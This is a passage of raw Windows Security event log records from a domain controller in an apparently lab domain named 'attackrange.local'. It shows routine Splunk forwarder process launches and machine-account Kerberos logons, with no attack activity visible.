	Account Domain:		ATTACKRANGE
	Logon ID:		0x41B247

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:28:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256530
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb8c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:28:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256532
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xa0c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:28:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256531
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x994
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:28:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256533
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10f0
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:28:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256534
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1254
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:28:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256535
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x404
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:28:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256536
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1030
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:28:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256539
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x41E7B7

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:28:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256538
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x41E7B7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		65355

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:28:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256537
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x41E7B7

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:29:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256541
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x938
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:29:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256540
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x2d8
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:29:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256542
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xfe4
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:29:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256543
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x5bc
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:29:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256544
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf74
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:29:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256545
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc88
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:29:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256546
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1118
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:29:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256549
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x421D29

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:29:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256548
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x421D29
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		65368

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:29:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256547
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x421D29

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:30:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256550
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb38
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:30:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256552
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
